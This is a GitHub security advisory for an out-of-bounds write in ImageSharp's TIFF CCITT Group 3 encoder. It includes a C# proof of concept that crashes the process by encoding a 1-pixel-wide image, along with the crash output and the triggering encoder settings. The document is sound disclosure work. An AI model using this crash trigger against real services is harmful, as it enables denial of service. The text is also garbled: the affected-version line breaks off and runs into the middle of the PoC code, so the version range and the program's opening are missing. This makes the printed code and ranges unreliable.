GitHub Advisoryadvisory · NuGet
GHSA-j9gm-c75j-xc9q ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer
HIGH
Official page ↗
- Aliases
- CVE-2026-106110
- Ecosystem
- NuGet
- Packages
- SixLabors.ImageSharp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-787
- Reviewed
- 2026-10-07
Affected packages
• NuGet SixLabors.ImageSharp: >= 2.0.0, < 3.2.0 → fixed in 3.2.0
• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2
Description
Summary
ImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.
This report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.
Affected package and versions
• Package: `SixLabors.ImageSharp` (NuGet)
• Affected range: `>= 2.0.0, 0 ? args[0] : "exploit";
int width = mode == "control" ? 64 : 1;
int height = args.Length > 1 ? int.Parse(args[1]) : 2000;
Console.WriteLine($"mode={mode} width={width} height={height}");
using var image = new Image(width, height);
for (int y = 0; y < image.Height; y++)
for (int x = 0; x < image.Width; x++)
image[x, y] = new L8((byte)(((x + y) & 1) == 0 ? 255 : 0));
var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();
metadata.BitsPerPixel = TiffBitsPerPixel.Bit1;
metadata.Compression = TiffCompression.CcittGroup3Fax;
using var output = new MemoryStream();
image.Save(output, new TiffEncoder());
Console.WriteLine($"Encoded OK: {output.Length} bytes");
```
Against the published 4.1.1 package, this produced:
```text
mode=exploit width=1 height=2000
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
at ...TiffCcittCompressor.GetWhiteTermCode(...)
at ...T4BitCompressor.CompressStrip(...)
```
A 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:
```text
mode=control width=64 height=2000
Encoded OK: 76230 bytes
```
The direct public configuration path also triggers with:
```csharp
new TiffEncoder
{
BitsPerPixel = TiffBitsPerPixel.Bit1,
Compression = TiffCompression.CcittGroup3Fax
};
```
Related
Alias · CVE (1)
- CVE-2026-106110 ImageSharp is a 2D graphics library. vulnerability
Weakness · CWE (1)
- CWE-787 Out-of-bounds Write weakness
References
- https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j9gm-c75j-xc9q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-106110 advisory
- https://github.com/SixLabors/ImageSharp/pull/3187 web
- https://github.com/SixLabors/ImageSharp/pull/3208 web
- https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95 web
- https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019 web
- https://github.com/SixLabors/ImageSharp package
- https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0 web
- https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2 web